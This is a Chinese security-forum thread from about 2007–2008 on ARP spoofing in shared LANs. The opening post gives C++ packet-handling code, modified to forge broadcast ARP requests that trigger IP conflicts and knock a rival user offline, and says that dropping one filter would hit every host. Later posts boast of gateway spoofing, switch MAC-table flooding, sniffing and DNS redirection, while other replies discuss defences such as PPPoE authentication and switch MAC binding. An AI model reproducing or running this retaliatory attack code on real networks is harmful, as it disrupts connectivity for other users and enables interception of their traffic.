[讨论]今天彻底封杀了一ARP,好高兴
议题作者:husheng34信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
这几天心血来朝,想自己实现TCP协议栈,刚把ARP部分写好,
查资料时发现上不了网了,打开sinffer软件一看,
某人在用arp软件,软件行为如下:
1: 向你发送arp应答包,
作用是:
我的MAC地址是网关,把包都发给我吧
2:向所有地址发送请求包,得到所有机器的MAC地址.
3:向存活主机发送 DNS反向解析,企图得到域名.
//=======================================
我当下就郁闷了,天天ARP别人,现在被人arp,
正好我又刚完ARP协议的应答部分,处理如下
注: 这个类 前面还有一个过滤器,只让目的地址为全F的arp包通过
这里是接收包的入口,Buff为包缓冲地址
int PackCondArpRequest::oper(PVOID Buff) //接收的包缓冲地址
{
pARP_HdrFull index = (pARP_HdrFull)Buff; //pARP_HdrFull为arp的包结构
if( index->ARPHdr.DIP.mLong != _ip.mLong) //目的地址不是本机,则返回
return -1;
if( index->ARPHdr.op != 0x0100) //请求包
return -1;
printf("arp处理\n");
ARP_HdrFull arpbuff;
GetPackArp getbuff;
//构造自己的arp应答包
int leng = getbuff.GetArp(&arpbuff,index->ARPHdr.SMAC,index->ARPHdr.SIP,_mac,_ip,2); // 参数2: 目的MAC地址为包源地址,
参数3: 目的IP地址为包源地址,
参数4: 源MAC的地址为自己MAC地址,
参数5 源MAC的地址为自己MAC地址,
参数6,类型为2,是应答包
leng = _Device->Send(&arpbuff,leng);
return 0;
}
//============================================
把这个类改了改,如下,因为是临时写的,封装的很乱,
int PackCondArpRequest::oper(PVOID Buff)
{
pARP_HdrFull index = (pARP_HdrFull)Buff;
uIpAddr TIP; //建一个网关地址,
TIP.mStruct.byte1 = 192;
TIP.mStruct.byte2 = 168;
TIP.mStruct.byte3 = 1;
TIP.mStruct.byte4 = 1;
if( index->ARPHdr.DIP.mLong == TIP.mLong) //如果目的地址是网关,就返回吧,总要让人家上网啊!
return -1;
if( index->ARPHdr.SMAC.mLongShort.mLong == _mac.mLongShort.mLong &&
index->ARPHdr.SMAC.mLongShort.mShort == _mac.mLongShort.mShort ) //如果源MAC地址是那个家伙的,就执行封杀,如果去掉,则表示任何人
{
ARP_HdrFull arpbuff;
GetPackArp getbuff;
uMacAddr AllMAC; //建一个目的MAC地址,全F表示所有,广播拉
AllMAC.mLongShort.mLong = 0xFFFFFFFF;
AllMAC.mLongShort.mShort = 0xFFFF;
uMacAddr TMAC; // 建一个临时的MAC地址,做为源MAC地址
TMAC.mLongShort.mLong = 0x11111111;
TMAC.mLongShort.mShort = 0x1111;
//建一个包,这个包的意思是:
//以那个家伙的IP,MAC为1的地址,向所有的机器发送网关的 ARP请求包,
后果是,他会弹出IP冲突,网关会失去配置,无法上网,
int leng = getbuff.GetArp(&arpbuff,AllMAC,TIP,TMAC,index->ARPHdr.SIP);
leng = _Device->Send(&arpbuff,leng);
printf("arp处理\n");
}
return 0;
}
/====================================
通过以上代码,我就实现了,只他那个家伙向任何一台机器,发送arp请求,就会IP冲突,
当然,如果去掉MAC地址过滤,任何内网机器访问其它,除网关的电脑都会IP冲突,
不过如果愿望,也改成其它方式的封锁,
那个家伙在改了一个又一个IP以后,终于死心,关闭了他的arp软件,
我在家里得意的笑啊[s:264][s:264][s:264] 提前绑定IP.不就得了..不会有这种事发生了.吧. 就算网关,和电脑双绑都没用,
一样可以交换机溢出,交换机欺骗等
也可以sinffer,DNS欺骗,网页重定向等等
期待我的 内网欺骗的 类库 写好吧,
想如何玩,就如何玩,内网我说了算
只要是有交换机的地方,就不安全, 交换机溢出,交换机欺骗。。
交换机欺骗,是不是传说中的跨vlan arp? 如果要彻底封杀ARP攻击最好的方法是用PPPOE协议验证上网 搞笑吧,你能教会我房东,我佩服你,50岁大妈
刚才又搞定一个arp份子,
我们这里的人太有才了,人手一个啊,
除了楼上的MM以外,可怜的MM常常上不了网,叫我帮忙
又加了个功能,会回应所有arp请求,
用arp一扫,就有250主机,[s:265][s:265][s:265]
附带对方网关欺骗,自己MAC和网关MAC修复 呵呵
我维护着500台机器的局域网 也是被ARP攻击搞的焦头烂额 最后用Route OS做了 PPPOE协议验证上网后就再也没有出现过ARP攻击了 [quote]引用第2楼husheng34于2007-06-16 19:29发表的 :
就算网关,和电脑双绑都没用,
一样可以交换机溢出,交换机欺骗等
也可以sinffer,DNS欺骗,网页重定向等等
.......[/quote]
我看了文章说好像绑定是没事的啊...
[url]http://www.coolall.cn/read.php?27[/url]
上面的是个软件你看下.... 前一段时间老是收到局域网ARP攻击的侵扰,用一些防护软件也不行,网管又搞不定,实在受不了,最后自己单独拉了根ADSL,唉,郁闷啊。 我看了文章说好像绑定是没事的啊...
[url]http://www.coolall.cn/read.php?27[/url]
上面的是个软件你看下....
//====================================
现在市面上的防arp软件,在没有网关管理权限的情况下,都不可能彻底解决,
最多是时断时续 [quote]引用第2楼husheng34于2007-06-16 19:29发表的 :
就算网关,和电脑双绑都没用,
一样可以交换机溢出,交换机欺骗等
也可以sinffer,DNS欺骗,网页重定向等等
.......[/quote]
已经有这种工具了
内网可以安全的 并不是你说的有交换机的就能利用 等写出来就你就知道了,我是直接欺骗交换机的MAC地址,
刷新交换机MAC地址表,
除非他用智能交换机,
做交换机上的MAC绑定,不然无法解决,
软件是无法彻底解决问题的,
去看看交换机工作原理在说吧
当然,有矛就有盾,
如果模拟一个虚拟主机IP和MAC,通过这个地址转发,
这个虚拟主机,不回应arp响应,
对其它机器相当于隐性,是可以躲过的,必竟要发现,才能攻击.
注意是躲过,不是毕免,如果了解原理,一样可以攻击,和上面的话不矛盾
也可以用中间层驱动,修改arp包也能实现,
不过中间层驱动效率和隐定性都是个问题 感觉只是一时控制而已``并非封杀````````` 想找到他又这么麻烦啊
用软件查看局域网卡状态
混杂模式的就是他了
然后让他不能上网还不简单啊 ARP协议不完美,所以才出问题的 有没有可以替代的呢。。。 支持:PPPOE协议验证上网,彻底防御。
交换网络的嗅探原理??请教
以前还以为双绑就没事了。。今天一看还真是那么回事~~中间还有交换机也是可以arp的!!现在很多软件使用winpcap嗅探``效果怎么样??(在网关`主机双绑的交换网络)。。
我又想了下。。arp应该要是3层以上的交换机吧~~~如果是2层的他连ip都不认识!!是不~~
牛人回啊!!谢啊~~
[[i] 本帖最后由 沉默的另一面 于 2008-3-12 15:28 编辑 [/i]] 楼主可以把你的 代码编译下,发布出来让大家测试一下效果。
页:
[1]